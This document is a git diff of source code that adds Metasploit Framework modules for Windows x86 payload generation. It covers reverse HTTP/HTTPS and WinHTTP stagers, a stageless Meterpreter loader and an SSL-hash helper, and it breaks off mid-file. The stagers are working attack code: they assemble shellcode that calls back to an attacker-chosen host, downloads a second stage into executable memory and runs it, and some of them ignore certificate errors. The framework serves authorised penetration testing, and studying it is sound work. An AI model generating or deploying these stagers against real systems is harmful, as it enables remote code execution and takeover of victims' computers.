a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb new file mode 100644 index 0000000000..c8827de662 --- /dev/null +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -0,0 +1,432 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/block_api' +require 'msf/core/payload/windows/exitfunk' + +module Msf + + +### +# +# Complex payload generation for Windows ARCH_X86 that speak HTTP(S) +# +### + + +module Payload::Windows::ReverseHttp + + include Msf::Payload::Windows + include Msf::Payload::Windows::BlockApi + include Msf::Payload::Windows::Exitfunk + + # + # Register reverse_http specific options + # + def initialize(*args) + super + register_advanced_options( + [ + OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']), + OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]), + OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']), + OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']), + OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']), + OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']), + OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']]) + ], self.class) + end + + # + # Generate the first stage + # + def generate + # Generate the simple version of this stager if we don't have enough space + if self.available_space.nil? || required_space > self.available_space + return generate_reverse_http( + ssl: false, + host: datastore['LHOST'], + port: datastore['LPORT'], + url: generate_small_uri, + retry_count: datastore['StagerRetryCount']) + end + + conf = { + ssl: false, + host: datastore['LHOST'], + port: datastore['LPORT'], + url: generate_uri, + exitfunk: datastore['EXITFUNC'], + proxy_host: datastore['PayloadProxyHost'], + proxy_port: datastore['PayloadProxyPort'], + proxy_user: datastore['PayloadProxyUser'], + proxy_pass: datastore['PayloadProxyPass'], + proxy_type: datastore['PayloadProxyType'], + retry_count: datastore['StagerRetryCount'] + } + + generate_reverse_http(conf) + end + + # + # Generate and compile the stager + # + def generate_reverse_http(opts={}) + combined_asm = %Q^ + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. + #{asm_block_api} + start: + pop ebp + #{asm_reverse_http(opts)} + ^ + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string + end + + # + # Generate the URI for the initial stager + # + def generate_uri + + uri_req_len = datastore['StagerURILength'].to_i + + # Choose a random URI length between 30 and 255 bytes + if uri_req_len == 0 + uri_req_len = 30 + rand(256-30) + end + + if uri_req_len < 5 + raise ArgumentError, "Minimum StagerURILength is 5" + end + + "/" + generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, uri_req_len) + end + + # + # Generate the URI for the initial stager + # + def generate_small_uri + "/" + generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW) + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + # Start with our cached default generated size + space = cached_size + + # Add 100 bytes for the encoder to have some room + space += 100 + + # Make room for the maximum possible URL length + space += 256 + + # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) + space += 31 + + # Proxy options? + space += 200 + + # The final estimated size + space + end + + # + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Bool] :ssl Whether or not to enable SSL + # @option opts [String] :url The URI to request during staging + # @option opts [String] :host The host to connect to + # @option opts [Fixnum] :port The port to connect to + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [String] :proxy_host The optional proxy server host to use + # @option opts [Fixnum] :proxy_port The optional proxy server port to use + # @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS + # @option opts [String] :proxy_user The optional proxy server username + # @option opts [String] :proxy_pass The optional proxy server password + # @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up + # + def asm_reverse_http(opts={}) + + retry_count = [opts[:retry_count].to_i, 1].max + proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0) + proxy_info = "" + + if proxy_enabled + if opts[:proxy_type].to_s.downcase == "socks" + proxy_info << "socks=" + else + proxy_info << "http://" + end + + proxy_info << opts[:proxy_host].to_s + if opts[:proxy_port].to_i > 0 + proxy_info << ":#{opts[:proxy_port]}" + end + end + + proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user] + proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass] + + http_open_flags = 0 + + if opts[:ssl] + #;0x80000000 | ; INTERNET_FLAG_RELOAD + #;0x04000000 | ; INTERNET_NO_CACHE_WRITE + #;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION + #;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT + #;0x00000200 | ; INTERNET_FLAG_NO_UI + #;0x00800000 | ; INTERNET_FLAG_SECURE + #;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID + #;0x00001000 ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID + http_open_flags = ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 | 0x00800000 | 0x00002000 | 0x00001000 ) + else + #;0x80000000 | ; INTERNET_FLAG_RELOAD + #;0x04000000 | ; INTERNET_NO_CACHE_WRITE + #;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION + #;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT + #;0x00000200 ; INTERNET_FLAG_NO_UI + http_open_flags = ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 ) + end + + asm = %Q^ + ;-----------------------------------------------------------------------------; + ; Compatible: Confirmed Windows 8.1, Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000 + ; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1) + ;-----------------------------------------------------------------------------; + + ; Input: EBP must be the address of 'api_call'. + ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) + load_wininet: + push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. + push 0x696e6977 ; ... + push esp ; Push a pointer to the "wininet" string on the stack. + push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call ebp ; LoadLibraryA( "wininet" ) + xor ebx, ebx ; Set ebx to NULL to use in future arguments + ^ + + if proxy_enabled + asm << %Q^ + internetopen: + push ebx ; DWORD dwFlags + push esp ; LPCTSTR lpszProxyBypass ("" = empty string) + call get_proxy_server + db "#{proxy_info}", 0x00 + get_proxy_server: + ; LPCTSTR lpszProxyName (via call) + push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3) + push ebx ; LPCTSTR lpszAgent (NULL) + push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) + call ebp + ^ + else + asm << %Q^ + internetopen: + push ebx ; DWORD dwFlags + push ebx ; LPCTSTR lpszProxyBypass (NULL) + push ebx ; LPCTSTR lpszProxyName (NULL) + push ebx ; DWORD dwAccessType (PRECONFIG = 0) + push ebx ; LPCTSTR lpszAgent (NULL) + push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) + call ebp + ^ + end + + asm << %Q^ + internetconnect: + push ebx ; DWORD_PTR dwContext (NULL) + push ebx ; dwFlags + push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) + push ebx ; password (NULL) + push ebx ; username (NULL) + push #{opts[:port]} ; PORT + call got_server_uri ; double call to get pointer for both server_uri and + server_uri: ; server_host; server_uri is saved in EDI for later + db "#{opts[:url]}", 0x00 + got_server_host: + push eax ; HINTERNET hInternet (still in eax from InternetOpenA) + push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) + call ebp + mov esi, eax ; Store hConnection in esi + ^ + + # Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it + # doesn't set the Proxy-Authorization header on the CONNECT request. + + if proxy_enabled && proxy_user + asm << %Q^ + ; DWORD dwBufferLength (length of username) + push #{proxy_user.length} + call set_proxy_username + proxy_username: + db "#{proxy_user}",0x00 + set_proxy_username: + ; LPVOID lpBuffer (username from previous call) + push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME) + push esi ; hConnection + push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) + call ebp + ^ + end + + if proxy_enabled && proxy_pass + asm << %Q^ + ; DWORD dwBufferLength (length of password) + push #{proxy_pass.length} + call set_proxy_password + proxy_password: + db "#{proxy_pass}",0x00 + set_proxy_password: + ; LPVOID lpBuffer (password from previous call) + push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD) + push esi ; hConnection + push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) + call ebp + ^ + end + + asm << %Q^ + httpopenrequest: + push ebx ; dwContext (NULL) + push #{"0x%.8x" % http_open_flags} ; dwFlags + push ebx ; accept types + push ebx ; referrer + push ebx ; version + push edi ; server URI + push ebx ; method + push esi ; hConnection + push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) + call ebp + xchg esi, eax ; save hHttpRequest in esi + + ; Store our retry counter in the edi register + set_retry: + push #{retry_count} + pop edi + + send_request: + ^ + + if opts[:ssl] + asm << %Q^ + ; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); + set_security_options: + push 0x00003380 + ;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID + ;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID + ;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE + ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA + ;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION + mov eax, esp + push 4 ; sizeof(dwFlags) + push eax ; &dwFlags + push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) + push esi ; hHttpRequest + push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) + call ebp + ^ + end + + asm << %Q^ + httpsendrequest: + push ebx ; lpOptional length (0) + push ebx ; lpOptional (NULL) + push ebx ; dwHeadersLength (0) + push ebx ; lpszHeaders (NULL) + push esi ; hHttpRequest + push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) + call ebp + test eax,eax + jnz allocate_memory + + try_it_again: + dec edi + jnz send_request + + ; if we didn't allocate before running out of retries, bail out + ^ + + if opts[:exitfunk] + asm << %Q^ + failure: + call exitfunk + ^ + else + asm << %Q^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp + ^ + end + + asm << %Q^ + allocate_memory: + push 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push 0x00400000 ; Stage allocation (4Mb ought to do us) + push ebx ; NULL as we dont care where the allocation is + push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + + download_prep: + xchg eax, ebx ; place the allocated base address in ebx + push ebx ; store a copy of the stage base address on the stack + push ebx ; temporary storage for bytes read count + mov edi, esp ; &bytesRead + + download_more: + push edi ; &bytesRead + push 8192 ; read length + push ebx ; buffer + push esi ; hRequest + push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" ) + call ebp + + test eax,eax ; download failed? (optional?) + jz failure + + mov eax, [edi] + add ebx, eax ; buffer += bytes_received + + test eax,eax ; optional? + jnz download_more ; continue until it returns 0 + pop eax ; clear the temporary storage + + execute_stage: + ret ; dive into the stored stage address + + got_server_uri: + pop edi + call got_server_host + + server_host: + db "#{opts[:host]}", 0x00 + ^ + + if opts[:exitfunk] + asm << asm_exitfunk(opts) + end + asm + end + + # + # Do not transmit the stage over the connection. We handle this via HTTPS + # + def stage_over_connection? + false + end + + # + # Always wait at least 20 seconds for this payload (due to staging delays) + # + def wfs_delay + 20 + end + + +end + +end + diff --git a/lib/msf/core/payload/windows/reverse_https.rb b/lib/msf/core/payload/windows/reverse_https.rb new file mode 100644 index 0000000000..7b61d72aec --- /dev/null +++ b/lib/msf/core/payload/windows/reverse_https.rb @@ -0,0 +1,70 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/reverse_http' + +module Msf + + +### +# +# Complex payload generation for Windows ARCH_X86 that speak HTTPS +# +### + + +module Payload::Windows::ReverseHttps + + include Msf::Payload::Windows::ReverseHttp + + # + # Generate and compile the stager + # + def generate_reverse_https(opts={}) + combined_asm = %Q^ + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. + #{asm_block_api} + start: + pop ebp + #{asm_reverse_http(opts)} + ^ + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string + end + + # + # Generate the first stage + # + def generate + + # Generate the simple version of this stager if we don't have enough space + if self.available_space.nil? || required_space > self.available_space + return generate_reverse_https( + ssl: true, + host: datastore['LHOST'], + port: datastore['LPORT'], + url: generate_small_uri, + retry_count: datastore['StagerRetryCount']) + end + + conf = { + ssl: true, + host: datastore['LHOST'], + port: datastore['LPORT'], + url: generate_uri, + exitfunk: datastore['EXITFUNC'], + proxy_host: datastore['PayloadProxyHost'], + proxy_port: datastore['PayloadProxyPort'], + proxy_user: datastore['PayloadProxyUser'], + proxy_pass: datastore['PayloadProxyPass'], + proxy_type: datastore['PayloadProxyType'], + retry_count: datastore['StagerRetryCount'] + } + + generate_reverse_https(conf) + end + +end + +end + diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb new file mode 100644 index 0000000000..2745ece351 --- /dev/null +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -0,0 +1,395 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/block_api' +require 'msf/core/payload/windows/exitfunk' +require 'msf/core/payload/windows/reverse_http' + +module Msf + + +### +# +# Complex payload generation for Windows ARCH_X86 that speak HTTP(S) using WinHTTP +# +### + + +module Payload::Windows::ReverseWinHttp + + include Msf::Payload::Windows::ReverseHttp + + # + # Register reverse_winhttp specific options + # + def initialize(*args) + super + end + + # + # Generate the first stage + # + def generate + # Generate the simple version of this stager if we don't have enough space + if self.available_space.nil? || required_space > self.available_space + return generate_reverse_winhttp( + ssl: false, + host: datastore['LHOST'], + port: datastore['LPORT'], + url: generate_small_uri, + retry_count: datastore['StagerRetryCount']) + end + + conf = { + ssl: false, + host: datastore['LHOST'], + port: datastore['LPORT'], + url: generate_uri, + exitfunk: datastore['EXITFUNC'], + retry_count: datastore['StagerRetryCount'] + } + + generate_reverse_winhttp(conf) + end + + # + # Generate and compile the stager + # + def generate_reverse_winhttp(opts={}) + combined_asm = %Q^ + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. + #{asm_block_api} + start: + pop ebp + #{asm_reverse_winhttp(opts)} + ^ + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + # Start with our cached default generated size + space = cached_size + + # Add 100 bytes for the encoder to have some room + space += 100 + + # Make room for the maximum possible URL length + space += 256 + + # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) + space += 31 + + # The final estimated size + space + end + + + # + # Convert a string into a NULL-terminated wchar byte array + # + def asm_generate_wchar_array(str) + ( str.to_s + "\x00" ). + unpack("C*"). + pack("v*"). + unpack("C*"). + map{ |c| "0x%.2x" % c }. + join(",") + end + + + # + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Bool] :ssl Whether or not to enable SSL + # @option opts [String] :url The URI to request during staging + # @option opts [String] :host The host to connect to + # @option opts [Fixnum] :port The port to connect to + # @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up + # + def asm_reverse_winhttp(opts={}) + + retry_count = [opts[:retry_count].to_i, 1].max + verify_ssl = nil + encoded_cert_hash = nil + encoded_url = asm_generate_wchar_array(opts[:url]) + encoded_host = asm_generate_wchar_array(opts[:host]) + + if opts[:ssl] && opts[:verify_cert_hash] + verify_ssl = true + encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",") + end + + + http_open_flags = 0 + + if opts[:ssl] + # ;0x00800000 ; WINHTTP_FLAG_SECURE + # ;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE + http_open_flags = (0x00800000 | 0x00000100) + else + # ;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE + http_open_flags = 0x00000100 + end + + asm = %Q^ + ; Input: EBP must be the address of 'api_call'. + ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) + + load_winhttp: + push 0x00707474 ; Push the string 'winhttp',0 + push 0x686E6977 ; ... + push esp ; Push a pointer to the "winhttp" string + push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call ebp ; LoadLibraryA( "winhttp" ) + ^ + + if verify_ssl + asm << %Q^ + load_crypt32: + push 0x00323374 ; Push the string 'crypt32',0 + push 0x70797263 ; ... + push esp ; Push a pointer to the "crypt32" string + push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call ebp ; LoadLibraryA( "wincrypt" ) + ^ + end + + asm << %Q^ + + xor ebx, ebx + + WinHttpOpen: + push ebx ; Flags + push ebx ; ProxyBypass (NULL) + push ebx ; ProxyName (NULL) + push ebx ; AccessType (DEFAULT_PROXY= 0) + push ebx ; UserAgent (NULL) [1] + push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" ) + call ebp + + WinHttpConnect: + push ebx ; Reserved (NULL) + push #{opts[:port]} ; Port [3] + call got_server_uri ; Double call to get pointer for both server_uri and + server_uri: ; server_host; server_uri is saved in edi for later + db #{encoded_url} + got_server_host: + push eax ; Session handle returned by WinHttpOpen + push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" ) + call ebp + + WinHttpOpenRequest: + + push #{"0x%.8x" % http_open_flags} + push ebx ; AcceptTypes (NULL) + push ebx ; Referrer (NULL) + push ebx ; Version (NULL) + push edi ; ObjectName (URI) + push ebx ; Verb (GET method) (NULL) + push eax ; Connect handle returned by WinHttpConnect + push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" ) + call ebp + xchg esi, eax ; save HttpRequest handler in esi + ^ + + if opts[:ssl] + asm << %Q^ + ; WinHttpSetOption (hInternet, WINHTTP_OPTION_SECURITY_FLAGS, &buffer, sizeof(buffer) ); + set_security_options: + push 0x00003300 + ;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID + ;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID + ;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE + ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA + mov eax, esp + push 4 ; sizeof(buffer) + push eax ; &buffer + push 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS) + push esi ; hHttpRequest + push 0xCE9D58D3 ; hash( "winhttp.dll", "WinHttpSetOption" ) + call ebp + ^ + end + + asm << %Q^ + ; Store our retry counter in the edi register + set_retry: + push #{retry_count} + pop edi + + send_request: + + WinHttpSendRequest: + push ebx ; Context [7] + push ebx ; TotalLength [6] + push ebx ; OptionalLength (0) [5] + push ebx ; Optional (NULL) [4] + push ebx ; HeadersLength (0) [3] + push ebx ; Headers (NULL) [2] + push esi ; HttpRequest handle returned by WinHttpOpenRequest [1] + push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" ) + call ebp + test eax,eax + jnz check_response ; if TRUE call WinHttpReceiveResponse API + + try_it_again: + dec edi + jnz send_request + + ; if we didn't allocate before running out of retries, fall through + ^ + + if opts[:exitfunk] + asm << %Q^ + failure: + call exitfunk + ^ + else + asm << %Q^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp + ^ + end + + # Jump target if the request was sent successfully + asm << %Q^ + check_response: + ^ + + # Verify the SSL certificate hash + if verify_ssl + + asm << %Q^ + ssl_cert_get_context: + push 4 + mov ecx, esp ; Allocate &bufferLength + push 0 + mov ebx, esp ; Allocate &buffer (ebx will point to *pCert) + + push ecx ; &bufferLength + push ebx ; &buffer + push 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT) + push esi ; hHttpRequest + push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" ) + call ebp + test eax, eax ; + jz failure ; Bail out if we couldn't get the certificate context + + ; ebx + ssl_cert_allocate_hash_space: + push 20 ; + mov ecx, esp ; Store a reference to the address of 20 + sub esp,[ecx] ; Allocate 20 bytes for the hash output + mov edi, esp ; edi will point to our buffer + + ssl_cert_get_server_hash: + push ecx ; &bufferLength + push edi ; &buffer (20-byte SHA1 hash) + push 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID) + push [ebx] ; *pCert + push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" ) + call ebp + test eax, eax ; + jz failure ; Bail out if we couldn't get the certificate context + + ssl_cert_start_verify: + call ssl_cert_compare_hashes + db #{encoded_cert_hash} + + ssl_cert_compare_hashes: + pop ebx ; ebx points to our internal 20-byte certificate hash (overwrites *pCert) + ; edi points to the server-provided certificate hash + + push 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times + pop ecx ; + mov edx, ecx ; Keep a reference to 4 in edx + + ssl_cert_verify_compare_loop: + mov eax, [ebx] ; Grab the next DWORD of the hash + cmp eax, [edi] ; Compare with the server hash + jnz failure ; Bail out if the DWORD doesn't match + add ebx, edx ; Increment internal hash pointer by 4 + add edi, edx ; Increment server hash pointer by 4 + loop ssl_cert_verify_compare_loop + + ; Our certificate hash was valid, hurray! + ssl_cert_verify_cleanup: + xor ebx, ebx ; Reset ebx back to zero + ^ + end + + asm << %Q^ + receive_response: + ; The API WinHttpReceiveResponse needs to be called + ; first to get a valid handle for WinHttpReadData + push ebx ; Reserved (NULL) + push esi ; Request handler returned by WinHttpSendRequest + push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" ) + call ebp + test eax,eax + jz failure + ^ + + asm << %Q^ + allocate_memory: + push 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push 0x00400000 ; Stage allocation (4Mb ought to do us) + push ebx ; NULL as we dont care where the allocation is + push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + + download_prep: + xchg eax, ebx ; place the allocated base address in ebx + push ebx ; store a copy of the stage base address on the stack + push ebx ; temporary storage for bytes read count + mov edi, esp ; &bytesRead + + download_more: + push edi ; NumberOfBytesRead (bytesRead) + push 8192 ; NumberOfBytesToRead + push ebx ; Buffer + push esi ; Request handler returned by WinHttpReceiveResponse + push 0x7E24296C ; hash( "winhttp.dll", "WinHttpReadData" ) + call ebp + + test eax,eax ; if download failed? (optional?) + jz failure + + mov eax, [edi] + add ebx, eax ; buffer += bytes_received + + test eax,eax ; optional? + jnz download_more ; continue until it returns 0 + pop eax ; clear the temporary storage + + execute_stage: + ret ; dive into the stored stage address + + got_server_uri: + pop edi + call got_server_host ; put the server_host on the stack (WinHttpConnect API [2]) + + server_host: + db #{encoded_host} + ^ + + if opts[:exitfunk] + asm << asm_exitfunk(opts) + end + asm + end + + + +end + +end + diff --git a/lib/msf/core/payload/windows/reverse_winhttps.rb b/lib/msf/core/payload/windows/reverse_winhttps.rb new file mode 100644 index 0000000000..4fe531ccff --- /dev/null +++ b/lib/msf/core/payload/windows/reverse_winhttps.rb @@ -0,0 +1,105 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/reverse_winhttp' +require 'msf/core/payload/windows/verify_ssl' + +module Msf + + +### +# +# Complex payload generation for Windows ARCH_X86 that speak HTTPS using WinHTTP +# +### + + +module Payload::Windows::ReverseWinHttps + + include Msf::Payload::Windows::ReverseWinHttp + include Msf::Payload::Windows::VerifySsl + + # + # Register reverse_winhttps specific options + # + def initialize(*args) + super + register_advanced_options( + [ + OptBool.new('StagerVerifySSLCert', [false, 'Whether to verify the SSL certificate hash in the handler', false]) + ], self.class) + end + + # + # Generate and compile the stager + # + def generate_reverse_winhttps(opts={}) + combined_asm = %Q^ + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. + #{asm_block_api} + start: + pop ebp + #{asm_reverse_winhttp(opts)} + ^ + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string + end + + # + # Generate the first stage + # + def generate + + verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], + datastore['HandlerSSLCert']) + + # Generate the simple version of this stager if we don't have enough space + if self.available_space.nil? || required_space > self.available_space + + if verify_cert_hash + raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available" + end + + return generate_reverse_winhttps( + ssl: true, + host: datastore['LHOST'], + port: datastore['LPORT'], + url: generate_small_uri, + verify_cert_hash: verify_cert_hash, + retry_count: datastore['StagerRetryCount']) + end + + conf = { + ssl: true, + host: datastore['LHOST'], + port: datastore['LPORT'], + url: generate_uri, + exitfunk: datastore['EXITFUNC'], + verify_cert_hash: verify_cert_hash, + retry_count: datastore['StagerRetryCount'] + } + + generate_reverse_winhttps(conf) + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + space = super + + # SSL support adds 20 bytes + space += 20 + + # SSL verification adds 120 bytes + if datastore['StagerVerifySSLCert'] + space += 120 + end + + space + end + +end + +end + diff --git a/lib/msf/core/payload/windows/stageless_meterpreter.rb b/lib/msf/core/payload/windows/stageless_meterpreter.rb new file mode 100644 index 0000000000..db22dab512 --- /dev/null +++ b/lib/msf/core/payload/windows/stageless_meterpreter.rb @@ -0,0 +1,111 @@ +#-*- coding: binary -*- + +require 'msf/core' +require 'rex/payloads/meterpreter/patch' + +module Msf + +## +# +# Implements stageless invocation of metsrv in x86 +# +## + +module Payload::Windows::StagelessMeterpreter + + include Msf::Payload::Windows + include Msf::Payload::Single + include Msf::ReflectiveDLLLoader + + def asm_invoke_metsrv(opts={}) + asm = %Q^ + ; prologue + dec ebp ; 'M' + pop edx ; 'Z' + call $+5 ; call next instruction + pop ebx ; get the current location (+7 bytes) + push edx ; restore edx + inc ebp ; restore ebp + push ebp ; save ebp for later + mov ebp, esp ; set up a new stack frame + ; Invoke ReflectiveLoader() + ; add the offset to ReflectiveLoader() (0x????????) + add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)} + call ebx ; invoke ReflectiveLoader() + ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket) + ; offset from ReflectiveLoader() to the end of the DLL + add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])} + push ebx ; push the pointer to the extension list + push 4 ; indicate that we have attached + push eax ; push some arbitrary value for hInstance + mov ebx, eax ; save DllMain for another call + call ebx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket) + ; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk) + ; push the exitfunk value onto the stack + push #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]} + push 5 ; indicate that we have detached + push eax ; push some arbitrary value for hInstance + call ebx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk) + ^ + + asm + end + + def generate_stageless_x86(url = nil) + dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x86.dll')) + + conf = { + :rdi_offset => offset, + :length => dll.length, + :exitfunk => datastore['EXITFUNC'] + } + + asm = asm_invoke_metsrv(conf) + + # generate the bootstrap asm + bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string + + # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry + if bootstrap.length > 62 + print_error("Stageless Meterpreter generated with oversized x86 bootstrap.") + return + end + + # patch the binary with all the stuff + dll[0, bootstrap.length] = bootstrap + + # the URL might not be given, as it might be patched in some other way + if url + # Patch the URL using the patcher as this upports both ASCII and WCHAR. + unless Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 512}", "s#{url}\x00") + # If the patching failed this could mean that we are somehow + # working with outdated binaries, so try to patch with the + # old stuff. + Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", "s#{url}\x00") + end + end + + # if a block is given then call that with the meterpreter dll + # so that custom patching can happen if required + yield dll if block_given? + + # append each extension to the payload, including + # the size of the extension + unless datastore['EXTENSIONS'].nil? + datastore['EXTENSIONS'].split(',').each do |e| + e = e.strip.downcase + ext, o = load_rdi_dll(MeterpreterBinaries.path("ext_server_#{e}", 'x86.dll')) + + # append the size, offset to RDI and the payload itself + dll << [ext.length].pack('V') + ext + end + end + + # Terminate the "list" of extensions + dll + [0].pack('V') + end + +end + +end + diff --git a/lib/msf/core/payload/windows/verify_ssl.rb b/lib/msf/core/payload/windows/verify_ssl.rb new file mode 100644 index 0000000000..3c038d488f --- /dev/null +++ b/lib/msf/core/payload/windows/verify_ssl.rb @@ -0,0 +1,36 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'rex/parser/x509_certificate' + +module Msf + +### +# +# Implements SSL validation check options +# +### + +module Payload::Windows::VerifySsl + + # + # Get the SSL hash from the certificate, if required. + # + def get_ssl_cert_hash(verify_cert, handler_cert) + unless verify_cert.to_s =~ /^(t|y|1)/i + return nil + end + + unless handler_cert + raise ArgumentError, "Verifying SSL cert is enabled but no handler cert is 